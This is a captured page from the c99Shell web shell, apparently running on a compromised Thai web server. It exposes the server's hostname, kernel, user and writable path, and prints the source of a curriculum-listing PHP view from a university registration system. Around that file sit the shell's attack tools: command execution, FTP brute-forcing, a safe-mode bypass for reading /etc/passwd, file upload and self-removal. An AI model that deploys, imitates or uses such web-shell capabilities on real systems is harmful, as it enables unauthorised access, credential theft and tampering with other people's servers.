!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showCurriculum.php (4.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="95%" align="center">
    <tr>
        <td><div align="center">
            <?php echo form_open($this->config->item("rg_folder")."curriculum/cur_input");?>
            <table width="100%">
                <tr >
                    <td align="right">
<?php
                    $lnk 
"<input type=\"submit\" name=\"add\" value=\"เพิ่มหลักสูตร\" />";
                    echo 
$oCRUD->CRUD($lnk'C');
?>
                    </td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="seqCol">ลำดับที่</th>
                            <th>ชื่อหลักสูตร</th>
                            <th class="groupCol">สถานะ</th>
                            <th class="editCol">แก้ไข</th>
                            <th class="deleteCol">ลบ</th>
                        </tr>
<?php
                        
if($rs_cur->num_rows()) {
                            
$i 0;
                            foreach(
$rs_cur->result() as $row) {
                                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><?php echo $i+1;?></td>
                            <td class="indent"><?php 
                            $lnk 
"<span class=\"hand\" title=\"".$row->curDescription."\" onClick=\"sendPost('hidform', {'id':$row->curId}, '".site_url($this->config->item("rg_folder")."curriculum/cur_detail")."',{'width':500,'height':600})\">".explodeSquare($row->curName)."</span>";
                            echo 
$lnk;
                            
?></td>
                            <td align="center"><?php echo $row->curStatus;?></td>
                            <td align="center">
<?php
                            $lnk 
"<span class=\"hand\" onClick=\"sendPost('hidform2', {'curId':$row->curId}, '".site_url($this->config->item("rg_folder")."curriculum/cur_input")."')\"><img src=\"".base_url().$this->config->item("rg_edit")."\" width=\"23\" height=\"19\" align=\"absmiddle\" border=\"0\" /></span>";
                            echo 
$oCRUD->CRUD($lnk'U');
?>
                            </td>
                            <td align="center">
<?php
                        
if(isset($cp[$row->curId]) and $cp[$row->curId]=="Y"){
                            
$lnk "<img src=\"".base_url().$this->config->item("rg_deleted")."\" width=\"16\" height=\"19\" align=\"absmiddle\" border=\"0\" />";
                            echo 
$oCRUD->CRUD($lnk'D');
                        }else{
                            
$lnk "<span class=\"hand\" onClick=\"confirmDel2({'id':$row->curId},'hidform3', '".site_url($this->config->item("rg_folder")."curpbri/cur_delete")."','คุณต้องการลบใช่หรือไม่ หากยืนยันข้อมูลในโครงสร้างหลักสูตร และโปรแกรมการศึกษาจะถูกลบไปด้วย!! ')\"><img src=\"".base_url().$this->config->item("rg_delete")."\" width=\"16\" height=\"19\" align=\"absmiddle\" border=\"0\" /></span>";
                            echo 
$oCRUD->CRUD($lnk'D');
                        }                        
?>
                            </td>
                        </tr>
<?php
                                $i
++;
                            }
                        }
                        else {
?>
                        <tr>
                            <td colspan="5" height="22" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right">รวม <?php echo $rs_cur->num_rows();?> รายการ</td>
                </tr>
            </table>
            <?php echo form_close();?></div></td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ : </b></span></td>
                <td><span class="error">ใช้เมาส์คลิกที่ชื่อหลักสูตรเพื่อดูรายละเอียดของหลักสูตร</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">ชี้เมาส์ที่ชื่อหลักสูตรเพื่อดูสาระสำคัญของหลักสูตร</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">Y = ใช้อยู่, N = เลิกใช้แล้ว</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error"><img src="<?php echo base_url().$this->config->item("rg_deleted");?>" /> = ยืนยันการเผยแพร่หลักสูตรแล้ว</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error"><img src="<?php echo base_url().$this->config->item("rg_delete");?>" /> = ยังไม่ได้ยืนยันการเผยแพร่หลักสูตร</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--